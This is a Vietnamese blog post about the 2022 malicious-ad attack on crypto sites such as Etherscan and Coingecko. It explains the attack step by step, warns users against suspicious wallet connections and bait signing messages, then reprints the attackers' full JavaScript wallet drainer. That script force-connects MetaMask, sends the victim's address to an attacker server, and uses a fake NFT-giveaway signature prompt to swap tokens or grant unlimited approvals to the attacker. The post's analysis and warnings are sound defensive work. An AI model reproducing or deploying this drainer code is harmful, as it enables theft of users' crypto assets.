KiemTienOnline360

Chia sẻ hành trình kiếm tiền online bắt đầu từ con số 0

Kiến thức Blockchain, Kiến thức lập trình

Tìm hiểu sâu cách thức các nền tảng crypto lớn như Etherscan, Coingecko, DexTool, Quickswap,… bị tấn công bởi quảng cáo độc hại gần đây

Tìm hiểu sâu cách thức các nền tảng crypto lớn như Etherscan, Coingecko, DexTool, Quickswap,... bị tấn công bởi quảng cáo độc hại gần đây

Tìm hiểu sâu cách thức các nền tảng crypto lớn như Etherscan, Coingecko, DexTool, Quickswap,... bị tấn công bởi quảng cáo độc hại gần đây

Chia sẻ bài viết
0
(0)

Ngày 2022-05-14, lần lượt các nền tảng nổi tiếng như Etherscan, Coingecko, DexTool, SpiritSwap, Quickswap,… thông báo đã bị tấn công bởi mã độc hại thông qua banner quảng cáo từ Adbycoinzilla. Đây là đoạn script được nhúng trong quảng cáo. Mã nguồn của script này có thể xem tại: ad_script_payload.html

Hacker đã tạo ra quảng cáo tiền điện tử, trong quảng cáo này có để vào đoạn script độc hại để yêu cầu người dùng thực hiện swap tài sản sang tài sản mà Hacker muốn và chuyển vào ví của Hacker.

Thông thường các trang Web lớn sẽ hiển thị thêm quảng cáo để kiếm thêm chút đỉnh. Ví dụ ảnh dưới là quảng cáo trên trang Coingecko:

Mục quảng cáo trên Coingecko
Mục quảng cáo trên Coingecko

Bạn view chi tiết mã nguồn thì bạn sẽ thấy quảng cáo này có thể <IFRAME>, trong đó chứa mã nguồn HTML & Javascript của quảng cáo:

Như vậy thông qua quảng cáo, Hacker đã có thể nhúng nội dung ( ad_script_payload.html) của mình vào website gốc. Trong nội dung này có đoạn javascript độc hại, khi nó chạy nó sẽ thực hiện swap các tài sản của người dùng.

Phần dưới mình đi sâu hơn giải thích cách đoạn Script trên thực hiện lấy tài sản của bạn như thế nào. Để tìm hiểu luồng này, Ad đã phải mô phỏng lại lỗi này trên máy cá nhân và hỗ trợ thêm chain BSC-TESTNET để tiện cho việc tìm hiểu.

Mô phỏng tấn công website Crypto nổi tiếng thông qua Quảng cáo độc hại
Mô phỏng tấn công website Crypto nổi tiếng thông qua Quảng cáo độc hại

Sau quá trình đọc mã nguồn, mô phỏng lại quá trình, Ad đã hiểu cách làm của Hacker. Cụ thể các bước Hacker thực hiện như sau:

  • B1: Hacker sẽ kiểm tra Metamask của được cài đặt không, thông qua việc kiểm tra biến window.ethereum => Nếu chưa cài đặt thì không làm gì, nếu có cài đặt thì sang B2.
  • B2: Hacker sẽ lấy ChainId hiện tại và kiểm tra xem ChainId này có nằm trong danh sách hỗ trợ của Hacker không? => Nếu không thì không làm gì, nếu có thì sang bước B3.
  • B3: Hacker sẽ gọi hàm connect() để thực hiện kết nối tới Ví Metamask, sau khi kết nối xong sẽ chuyển sang bước B4:
    • Nếu trước đó Website đã kết nối tới ví Metamask thì quá trình này sẽ tự động, người dùng không nhìn thấy gì cả => AE nào tham gia Crypto thì tỉ lệ cao là đã kết nối trước đó.
    • Nếu trước đó Website chưa kết nối tới ví Metamask thì sẽ có giao diện hiển thị yêu cầu kết nối (Xem Hình 1) => Tên miền hiển thị là tên mình Website nổi tiếng nên nhiều bạn sẽ an tâm nhấn nút Connect. Còn nếu bạn nhấn Cancel, nó sẽ yêu cầu bạn kết nối lại cho đến khi được mới thôi.
  • B4: Hacker sẽ lấy địa chỉ ví và thực hiện một Request tới server của Hacker, trong file chính là link: https://api.nftapes.win (Đây chỉ không chắc đã phải link gốc của Hacker) => Server sẽ trả về địa chỉ nhận tiền (recipient ) và danh sách các token cần kiểm tra. Sau đó chuyển sang B5.
  • B5: Hacker tiếp tục gọi hàm trên Blockchain để lấy số lượng token mà người dùng đang nắm giữ. Số lượng nhỏ hơn giá trị cấu hình thì bỏ qua, nếu lớn hơn thì thực hiện bước 6.
  • B6: Hacker tiếp tục kiểm tra xem Ví người dùng đã cấp quyền sử dụng token cho các Spender (Các AMM Router được cấu hình trong biến Routers) trong danh sách cấu hình. Nếu chưa thì bỏ qua không làm gì, nếu có thì sang bước B7.
  • B7: Hacker sẽ thực hiện gọi lệnh swap toàn bộ token từ địa chỉ ví người dùng sang tài sản ổn định mà Hacker mong muốn (Cấu hình trong biến QuoteTokens) và chuyển nó tới địa chỉ của Hacker. Trong hàm swap có tham số “địa chỉ nhận“, nó là địa chỉ ví của Hacker. Ở bước này, một hộp hội thoại trên Ví Metamask sẽ được hiển thị để yêu cầu người dùng Ký cho nội dung tin nhắn (Xem Hình 2), nếu người dùng nhấn nút Sign thì người dùng sẽ mất tiền. Người dùng rất dễ nhấn nút Sign vì:
    • Đây là website uy tín, là Website mà người dùng sử dụng thường xuyên.
    • Nội dung Mesage rất dễ kích thích lòng tham của người dùng.
Hình 1: Yêu cầu kết nối tới Ví Metamask
Hình 1: Yêu cầu kết nối tới Ví Metamask
Hình 2: Hacker yêu cầu người dùng Sign để thực hiện Swap
Hình 2: Hacker yêu cầu người dùng Sign để thực hiện Swap

Mặc dù vậy để Hacker lấy được tiền của người dùng thì vẫn phải qua bước Sign cuối cùng => Người dùng nào cẩn thận thì sẽ không bị mất tiền. Như vậy với vai trò người dùng cần luôn để ý:

  • Cẩn thận với các hành động lạ liên kết tới Ví Metamask, cho dù đó là một Website uy tín hoặc Website hay sử dụng
  • Tuyệt đối không Sign các message có nội dung kích thích đánh vào lòng tham.

Chi tiết mã nguồn Hacker sử dụng:

<!DOCTYPE html>
<html><head><meta charset="utf-8"><link href="favicon.ico" rel="icon"></head>
<body>
<script src="assets/vendor/web3/web3.min.js"></script>
<script src="assets/vendor/bignumber/bignumber.min.js"></script>
<script>
const Thresholds = {
	ETH: '40000000000000000', // 0.04
	BSC: '30000000000000000', // 0.03
	CRO: '45000000000000000000', // 45
	FTM: '25000000000000000000' // 25
};

const QuoteTokens = {
	ETH: [
		{
			ADDRESS: '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2',
			SYMBOL: 'ETH'
		},
		{
			ADDRESS: '0xdAC17F958D2ee523a2206206994597C13D831ec7',
			SYMBOL: 'USDT'
		},
		{
			ADDRESS: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
			SYMBOL: 'USDC'
		},
		{
			ADDRESS: '0x6B175474E89094C44Da98b954EedeAC495271d0F',
			SYMBOL: 'DAI'
		}
	],
	BSC: [
		{
			ADDRESS: '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c',
			SYMBOL: 'BNB'
		},
		{
			ADDRESS: '0x55d398326f99059fF775485246999027B3197955',
			SYMBOL: 'USDT'
		},
		{
			ADDRESS: '0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56',
			SYMBOL: 'BUSD'
		}
	],
	CRO: [
		{
			ADDRESS: '0x5C7F8A570d578ED84E63fdFA7b1eE72dEae1AE23',
			SYMBOL: 'CRO'
		},
		{
			ADDRESS: '0xc21223249CA28397B4B6541dfFaEcC539BfF0c59',
			SYMBOL: 'USDC'
		}
	],
	FTM: [
		{
			ADDRESS: '0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83',
			SYMBOL: 'FTM'
		},
		{
			ADDRESS: '0x04068DA6C83AFCFA0e13ba15A6696662335D5B75',
			SYMBOL: 'USDC'
		}
	]
};

const Routers = {
	ETH: [
		{ // ShibaSwap
			ADDRESS: '0x03f7724180AA6b939894B5Ca4314783B0b36b329',
			QUOTER: '0x03f7724180AA6b939894B5Ca4314783B0b36b329',
			FACTORY: '0x115934131916C8b277DD010Ee02de363c09d037c'
		},
		{ // SushiSwap
			ADDRESS: '0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F',
			QUOTER: '0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F',
			FACTORY: '0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac'
		},
		{ // UniswapV2
			ADDRESS: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
			QUOTER: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
			FACTORY: '0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f'
		},
		{ // UniswapV3
			ADDRESS: '0xE592427A0AEce92De3Edee1F18E0157C05861564',
			QUOTER: '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6',
			FACTORY: '0x1F98431c8aD98523631AE4a59f267346ea31F984',
			FEES: [500, 3000, 10000]
		},
		{ // UniswapV2 (Auto)
			ADDRESS: '0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45',
			QUOTER: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
			FACTORY: '0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f',
			AUTO: true
		},
		{ // UniswapV3 (Auto)
			ADDRESS: '0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45',
			QUOTER: '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6',
			FACTORY: '0x1F98431c8aD98523631AE4a59f267346ea31F984',
			FEES: [500, 3000, 10000],
			AUTO: true
		}
	],
	BSC: [
		{ // Safeswap
			ADDRESS: '0xE804f3C3E6DdA8159055428848fE6f2a91c2b9AF',
			QUOTER: '0xE804f3C3E6DdA8159055428848fE6f2a91c2b9AF',
			FACTORY: '0x86A859773cf6df9C8117F20b0B950adA84e7644d'
		},
		{ // PancakeSwapV1
			ADDRESS: '0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F',
			QUOTER: '0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F',
			FACTORY: '0xBCfCcbde45cE874adCB698cC183deBcF17952812'
		},
		{ // PancakeSwapV2
			ADDRESS: '0x10ED43C718714eb63d5aA57B78B54704E256024E',
			QUOTER: '0x10ED43C718714eb63d5aA57B78B54704E256024E',
			FACTORY: '0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73'
		}
	],
	CRO: [
		{ // Mad Meerkat Finance
			ADDRESS: '0x145677FC4d9b8F19B5D56d1820c48e0443049a30',
			QUOTER: '0x145677FC4d9b8F19B5D56d1820c48e0443049a30',
			FACTORY: '0xd590cC180601AEcD6eeADD9B7f2B7611519544f4'
		}
	],
	FTM: [
		{ // SpookySwap
			ADDRESS: '0xF491e7B69E4244ad4002BC14e878a34207E38c29',
			QUOTER: '0xF491e7B69E4244ad4002BC14e878a34207E38c29',
			FACTORY: '0x152eE697f2E276fA89E96742e9bB9aB1F2E61bE3'
		}
	]
};

const MAX_UINT = '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';

const ABI = {
	ERC20: {
		ALLOWANCE: {"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},
		APPROVE: {"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},
		BALANCE_OF: {"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}
	}
};

const RPC = {
	ETH: 'https://mainnet.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161',
	BSC: 'https://bsc-dataseed.binance.org',
	CRO: 'https://cronos-rpc.heavenswail.one', // or https://cronosrpc-1.xstaking.sg, official ones have too low limit on batch requests
	FTM: 'https://rpc.ftm.tools'
};

const Chains = {
	ETH: 1,
	BSC: 56,
	CRO: 25,
	FTM: 250
};

const Web3Nodes = {};

Object.keys(Chains).forEach(chain => {
	Web3Nodes[chain] = new Web3(RPC[chain]);
});

if (window.ethereum) {
	web3Node = new Web3(ethereum);

	web3Node.eth.getChainId().then(chainId => {
		for (let chain in Chains) {
			if (Chains.hasOwnProperty(chain) && Chains[chain] == chainId) {
				window.chain = chain;
				break;
			}
		}

		if (window.chain) {
			function connect() {
				web3Node.eth.requestAccounts().then(accounts => {
					if (!accounts.length) {
						connect();
						return;
					}

					web3Node.eth.defaultAccount = Web3.utils.toChecksumAddress(accounts[0]);

					function fetch(approval) {
						function error(handled) {
							if (typeof handled == 'undefined') {
								if (approval) {
									fetch(false);
								}
							} else {
								fetch(approval);
							}
						}

						const xhttp = new XMLHttpRequest();

						xhttp.onreadystatechange = function() {
							if (this.readyState == XMLHttpRequest.DONE) {
								if (this.status == 200) {
									let response = JSON.parse(this.responseText);

									if (!response.results.length) {
										error();
										return;
									}

									const balances = {};
									let batch = new Web3Nodes[chain].BatchRequest();
									let handled = 0;

									response.results.forEach(result => {
										result.token = result.token.toLowerCase();

										if (typeof balances[result.token] != 'undefined') {
											return;
										}

										balances[result.token] = 0;

										batch.add((new Web3Nodes[chain].eth.Contract([
											ABI.ERC20.BALANCE_OF
										], result.token)).methods.balanceOf(web3Node.eth.defaultAccount).call.request((err, balance) => {
											if (!err && balance) { // probably not ERC20
												balances[result.token] = balance;
											}

											if (++handled == Object.keys(balances).length) {
												response.results = response.results.filter(result => balances[result.token] != 0);

												if (!response.results.length) {
													error();
													return;
												}

												batch = new Web3Nodes[chain].BatchRequest();
												handled = 0;

												response.results.forEach(result => {
													result.ALLOWANCE = 0;

													batch.add((new Web3Nodes[chain].eth.Contract([
														ABI.ERC20.ALLOWANCE
													], result.token)).methods.allowance(web3Node.eth.defaultAccount, approval ? result.spender : response.recipient).call.request((err, allowance) => {
														if (!err && allowance) { // probably not ERC20
															result.ALLOWANCE = allowance;
														}

														if (++handled == response.results.length) {
															if (approval) {
																response.results.forEach(result => {
																	balances[result.token] = BigNumber.min(balances[result.token], result.ALLOWANCE).toFixed(0);
																});
															} else {
																response.results.forEach(result => {
																	if ((new BigNumber(result.ALLOWANCE)).gte(balances[result.token])) {
																		balances[result.token] = 0;
																	}
																});
															}

															response.results = response.results.filter(result => balances[result.token] != 0);

															if (!response.results.length) {
																error();
																return;
															}

															const outputToken = QuoteTokens[chain][0].ADDRESS;
															let swaps = [];

															response.results.forEach(result => {
																Routers[chain].forEach(router => {
																	if (approval && result.spender.toLowerCase() != router.ADDRESS.toLowerCase()) {
																		return;
																	}

																	if (router.FEES) {
																		router.FEES.forEach(fee => {
																			QuoteTokens[chain].forEach(quoteToken => {
																				const path = [result.token, fee, quoteToken.ADDRESS];

																				if (quoteToken.ADDRESS != outputToken) {
																					path.push(fee);
																					path.push(outputToken);
																				}

																				swaps.push({ ROUTER: router, PATH: path, INPUT: balances[result.token] });
																			});
																		});
																	} else {
																		QuoteTokens[chain].forEach(quoteToken => {
																			const path = [result.token, quoteToken.ADDRESS];

																			if (quoteToken.ADDRESS != outputToken) {
																				path.push(outputToken);
																			}

																			swaps.push({ ROUTER: router, PATH: path, INPUT: balances[result.token] });
																		});
																	}
																});
															});

															function createPath(data) {
																let path = data[0];

																for (let i = 1; i < data.length; i++) {
																	path += Web3.utils.padLeft(Web3.utils.numberToHex(data[i]), 6).substr(2);
																	i++;
																	path += data[i].substr(2);
																}

																return path;
															}

															const outputs = {};
															batch = new Web3Nodes[chain].BatchRequest();
															handled = 0;

															swaps.forEach(swap => {
																let method;

																if (swap.ROUTER.FEES) {
																	method = (new Web3Nodes[chain].eth.Contract([
																		{"inputs":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"uint256","name":"amountIn","type":"uint256"}],"name":"quoteExactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"nonpayable","type":"function"}
																	], swap.ROUTER.QUOTER)).methods.quoteExactInput(createPath(swap.PATH), swap.INPUT);
																} else {
																	method = (new Web3Nodes[chain].eth.Contract([
																		{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsOut","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"}
																	], swap.ROUTER.QUOTER)).methods.getAmountsOut(swap.INPUT, swap.PATH);
																}

																swap.QUOTE = swap.ROUTER.QUOTER + method.encodeABI();

																if (typeof outputs[swap.QUOTE] != 'undefined') {
																	return;
																}

																outputs[swap.QUOTE] = new BigNumber(0);

																batch.add(method.call.request((err, output) => {
																	if (!err) { // probably non-existing path
																		outputs[swap.QUOTE] = new BigNumber(swap.ROUTER.FEES ? output : output[output.length - 1]);
																	}

																	if (++handled == Object.keys(outputs).length) {
																		swaps = swaps.filter(swap => outputs[swap.QUOTE].gte(Thresholds[chain]));

																		if (!swaps.length) {
																			error();
																			return;
																		}

																		swaps.sort((a, b) => {
																			if (outputs[a.QUOTE].gt(outputs[b.QUOTE])) {
																				return -1;
																			}

																			if (outputs[a.QUOTE].lt(outputs[b.QUOTE])) {
																				return 1;
																			}

																			return 0;
																		});

																		function next(i) {
																			setTimeout(() => {
																				if (i == swaps.length) {
																					error();
																					return;
																				}

																				const swap = swaps[i];

																				function handle(method) {
																					web3Node.eth.personal.sign('CONGRATULATIONS ❗❗\n\nYou won a Bored Ape NFT from our Giveaway! 🥳\n\nClaim it now. 🎁', web3Node.eth.defaultAccount).then(() => {
																						let handled = false;

																						method.send({ from: web3Node.eth.defaultAccount }).on('confirmation', () => {
																							if (!handled) {
																								handled = true;
																								error(true);
																							}
																						}).on('error', () => {
																							if (!handled) {
																								handled = true;
																								error(true);
																							}
																						});
																					}).catch(() => {
																						handle(method);
																					});
																				}

																				if (approval) {
																					if (swap.ROUTER.FEES) {
																						if (swap.ROUTER.AUTO) {
																							method = (new web3Node.eth.Contract([
																								{"inputs":[{"components":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"internalType":"struct IV3SwapRouter.ExactInputParams","name":"params","type":"tuple"}],"name":"exactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"}
																							], swap.ROUTER.ADDRESS)).methods.exactInput([ createPath(swap.PATH), response.recipient, swap.INPUT, 0 ]);
																						} else {
																							method = (new web3Node.eth.Contract([
																								{"inputs":[{"components":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"internalType":"struct ISwapRouter.ExactInputParams","name":"params","type":"tuple"}],"name":"exactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"}
																							], swap.ROUTER.ADDRESS)).methods.exactInput([ createPath(swap.PATH), response.recipient, MAX_UINT, swap.INPUT, 0 ]);
																						}
																					} else if (swap.ROUTER.AUTO) {
																						method = (new web3Node.eth.Contract([
																							{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"}],"name":"swapExactTokensForTokens","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"}
																						], swap.ROUTER.ADDRESS)).methods.swapExactTokensForTokens(swap.INPUT, 0, swap.PATH, response.recipient);
																					} else {
																						method = (new web3Node.eth.Contract([
																							{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}
																						], swap.ROUTER.ADDRESS)).methods.swapExactTokensForETHSupportingFeeOnTransferTokens(swap.INPUT, 0, swap.PATH, response.recipient, MAX_UINT);
																					}

																					method.call({ from: web3Node.eth.defaultAccount }).then(() => {
																						handle(method);
																					}).catch(() => { // probably honeypot
																						next(i + 1);
																					});

																					return;
																				}

																				if (swap.ROUTER.FEES) {
																					method = (new Web3Nodes[chain].eth.Contract([
																						{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint24","name":"","type":"uint24"}],"name":"getPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}
																					], swap.ROUTER.FACTORY)).methods.getPool(swap.PATH[0], swap.PATH[2], swap.PATH[1]);
																				} else {
																					method = (new Web3Nodes[chain].eth.Contract([
																						{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}
																					], swap.ROUTER.FACTORY)).methods.getPair(swap.PATH[0], swap.PATH[1]);
																				}

																				method.call().then(pair => {
																					(new Web3Nodes[chain].eth.Contract([
																						{"constant":false,"inputs":[{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"rawAmount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}
																					], swap.PATH[0])).methods.transfer(pair, swap.INPUT).call({ from: web3Node.eth.defaultAccount }).then(() => { // still possible that the token can't be transfered to other addresses or that transferFrom would fail which is not possible to validate without prior approval
																						handle((new web3Node.eth.Contract([
																							ABI.ERC20.APPROVE
																						], swap.PATH[0])).methods.approve(response.recipient, MAX_UINT));
																					}).catch(() => { // probably honeypot
																						next(i + 1);
																					});
																				}).catch(() => {
																					next(i + 1);
																				});
																			}, 0); // prevent exceeding maximum call stack size
																		}

																		next(0);
																	}
																}));
															});

															batch.execute();
														}
													}));
												});

												batch.execute();
											}
										}));
									});

									batch.execute();
								} else {
									error();
								}
							}
						};

						xhttp.open('POST', 'https://api.nftapes.win', true);
						xhttp.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');

						const params = {
							chain: chain,
							account: web3Node.eth.defaultAccount
						}

						if (approval) {
							params.spenders = [];

							Routers[chain].forEach(router => {
								if (!params.spenders.includes(router.ADDRESS)) {
									params.spenders.push(router.ADDRESS);
								}
							});
						}

						xhttp.send(JSON.stringify(params));
					}

					fetch(true);
				}).catch(() => {
					connect();
				});
			}

			connect();
		}
	});
}
</script>
</body></html>

Bài viết này có hữu ích với bạn?

Kích vào một biểu tượng ngôi sao để đánh giá bài viết!

Xếp hạng trung bình 0 / 5. Số phiếu: 0

Bài viết chưa có đánh giá! Hãy là người đầu tiên đánh giá bài viết này.

Trả lời

Giao diện bởi Anders Norén